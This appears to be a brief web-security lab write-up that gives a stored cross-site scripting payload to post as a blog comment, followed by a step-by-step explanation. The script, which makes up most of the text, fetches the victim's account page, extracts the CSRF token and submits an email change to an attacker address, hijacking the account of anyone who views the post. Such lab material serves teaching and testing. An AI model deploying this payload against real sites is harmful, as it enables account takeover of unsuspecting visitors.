In the comment section add this payload as the comment
Payload:
<script>
fetch('/my-account')
.then(r => r.text())
.then(html => {
// Parse the page to extract CSRF token
var parser = new DOMParser();
var doc = parser.parseFromString(html, 'text/html');
var csrf = doc.querySelector('input[name="csrf"]').value;
// Now submit the email change with the stolen token
fetch('/my-account/change-email', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'email=attacker@evil.com&csrf=' + csrf,
credentials: 'include'
});
});
</script>When an user visits this post, the JavaScript executes :
- it calls the /my-account page
- fetch the
csrftoken from inside the<form>element- then call
/my-account/change-emailEndpoint which updates the user’s email- in payload body, pass the attacker email.
- this will update the victim’s email